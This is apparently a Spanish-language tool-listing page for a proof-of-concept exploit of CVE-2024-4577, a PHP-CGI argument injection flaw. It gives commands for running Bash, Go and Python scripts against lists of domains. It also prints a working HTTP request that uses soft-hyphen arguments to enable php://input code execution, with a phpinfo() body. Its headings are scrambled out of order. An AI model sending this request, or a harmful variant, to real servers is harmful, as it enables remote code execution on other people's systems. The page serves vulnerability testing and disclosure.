CVE-2024-4577-PHP-RCE — PHP RCE PoC para CVE-2024-4577 escrito en bash, go, python y una plantilla de nuclei | Kitploit

PHP RCE PoC

CVE-2024-4577: Inyección de Argumentos en PHP-CGI

Resumen

Este repositorio contiene scripts para verificar la vulnerabilidad CVE-2024-4577, un problema de inyección de argumentos en PHP-CGI. Puede usar los scripts Bash, Go y Python proporcionados para probar una lista de dominios para esta vulnerabilidad. También he publicado un archivo YAML de Nuclei.

Uso

Script Bash

Para usar el script Bash, ejecute el siguiente comando:

./CVE-2024-4577.sh /path/to/domains-list

Script Go

Primero, guarde el script Go en un archivo llamado CVE-2024-4577.go. Para compilar y ejecutar el script Go:

Compile el script Go en un binario:
```
go build -o CVE-2024-4577 CVE-2024-4577.go
```

Asegúrese de tener instalada la biblioteca requests:
```
pip install requests
```
Ejecute el script Python con el archivo de lista de dominios como argumento:
```
python CVE-2024-4577.py /path/to/domains-list
```
(Opcional) Si desea imprimir solo los hosts vulnerables:
```
python CVE-2024-4577.py /path/to/domains-list --quiet
```

POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php phpinfo(); ?>

CVE-2024-4577-PHP-RCE

Más Populares

Script Python

Explicación de la Prueba de Concepto (PoC)

Plantilla de Nuclei

Ejemplo de Lista de Dominios

Ejemplo de Salida